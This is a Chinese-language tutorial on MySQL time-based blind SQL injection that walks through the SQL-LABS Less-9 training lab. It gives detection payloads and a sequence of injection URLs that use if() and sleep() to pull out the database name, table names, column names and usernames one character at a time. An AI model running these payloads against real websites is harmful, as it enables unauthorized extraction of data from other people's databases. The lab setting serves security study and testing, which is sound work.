mysql基于时间盲注_MYSQL基于时间的盲注详解

MYSQL基于时间的盲注

联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误

但是有时候网站关闭了错误回显或过滤了某些关键字,网页会返回一种状态(status,只要进行了http传输,那么就会有一个状态值),这时候就要用到时间盲注

时间盲注的基本函数

if(1,2,3):如果1为True,则执行2,否则执行3

sleep(x):延迟x秒之后执行

ascii(char):将字符转换为对应的ascii码

substr(str,pos,len):将字符串从pos位开始截取len长度

Benchmark(x,1): 执行表达式1,x次(消耗CPU)

基于时间盲注的思路

if() 函数,如果参数1为真,那么执行参数2(sleep函数),否则执行参数3(一般为1)

SELECT * FROM users WHERE id = 1 and if(1=1,sleep(6),1)

此时可以在navicat上看到查询时间,当1=1恒为真,那么执行sleep()函数

2dc0aa6ba3fc427f01818b369fc03fc4.png

and后要紧跟 true or false ,所以第一个参数为false之后,就立即执行参数3,所以一般参数3为1,这样就可以正确查询and前的语句

为什么返回页面没有差异

第一种情况:无论输入什么都只显示无信息页面,如登录页面。这种情况下可能只有登录失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况也不知道。在这种情况下有可能基于时间的SQL注入会有效

第二种情况:无论输入什么都只显示正常信息页面。例如,采集登录用户信息的模块页面,采集用户的IP,浏览器类型,refer字段,session字段,无论用户输入什么,都显示正常页面

第三种情况:差异页面不是由URL中的SQL语句来决定的。这种情况下,也只能使用基于时间盲注

判断注入

payload

if(now() = sysdate(),sleep(6),0)

1.通过使用几次这个语句改变sleep的时间,来说明存在注入

2.有的页面显示的有非法请求,但是这种很可能已经将SQL语句带入数据库执行了

and if(1=1,sleep(5),1)

and if(1=2,sleep(5),1)

or if(1=1,sleep(5),1)

or if(1=2,sleep(5),1)

xor if(1=1,sleep(5),1)

xor if(1=2,sleep(5),1)

SQL-LABS演示

选择SQL-LABS-9,基于时间盲注,因为labs-9 完全没有回显消息,就连web端都不会显示错误

当if函数中的参数1为true,那么执行参数2,否则执行参数3,当我们构造的=左右恒等,那么就会延迟2000ms执行,在控制台中就可以看到加载时间在2s之后

当id = 1 时

7600d6b85c381e32a0209c7ef9ff81e0.png

当id = -1时

dc4532927afcdf0b64e1f2b81f24c701.png

其中id = -1和id= 1 都没有任何明显的返回值,所以联合查询,报错注入,以及基于字符的布尔盲注都没办法,所以采用时间注入的方法来判断是否存在SQL注入

判断是否存在注入

002b99591b667e449071f1a076ccc819.png

629be42ffa93ac680d06c38d9644d542.png

判断当前数据库长度

http://192.168.1.101/Less-9/?id=1' and if(length(database()) = 8,sleep(2),1) --+

http://192.168.1.101/Less-9/?id=1' and if(ascii(substr(database(),8,1)),sleep(2),1) --+

求当前数据库名

http://192.168.1.101/Less-9/?id=1' and if(ascii(substr(database(),1,1)) = 115,sleep(2),1) --+

求表个数

http://192.168.1.101/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where table_schema = database()) = 4,sleep(2),1) --+

求表长度

http://192.168.1.101/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1)),sleep(2),1) --+

http://192.168.1.101/Less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 6,sleep(2),1) --+

求表名

http://192.168.1.101/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) = 101,sleep(2),1) --+

求列的个数

http://192.168.1.101/Less-9/?id=1' and if((select count(column_name) from information_schema.columns where table_name = 'users') = 3,sleep(2),1) --+

求列的长度

http://192.168.1.101/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),2,1)),sleep(2),1) --+

http://192.168.1.101/Less-9/?id=1' and if(length((select column_name from information_schema.columns where table_name = 'users' limit 0,1)) = 2,sleep(2),1) --+

求列名

http://192.168.1.101/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1)) =105,sleep(2),1) --+

求字段个数

http://192.168.1.101/Less-9/?id=1' and if((select count(id) from users) = 13,sleep(2),1) --+

求字段长度

http://192.168.1.101/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),4,1)),sleep(2),1) --+

http://192.168.1.101/Less-9/?id=1' and if(length((select username from users limit 0,1)) = 4,sleep(2),1) --+

求字段名

http://192.168.1.101/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1)) =68,sleep(2),1) --+

时间盲注可以使用order by吗?怎么去判断有多少个字段

使用union select 查询 ,让if恒为真,再去添加字段个数,如果有请求演示,则说明字段个数正确,否则说明字段个数错误

http://192.168.1.101/Less-9/?id=1' union select if(1=1,sleep(2),1),2,3 --+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值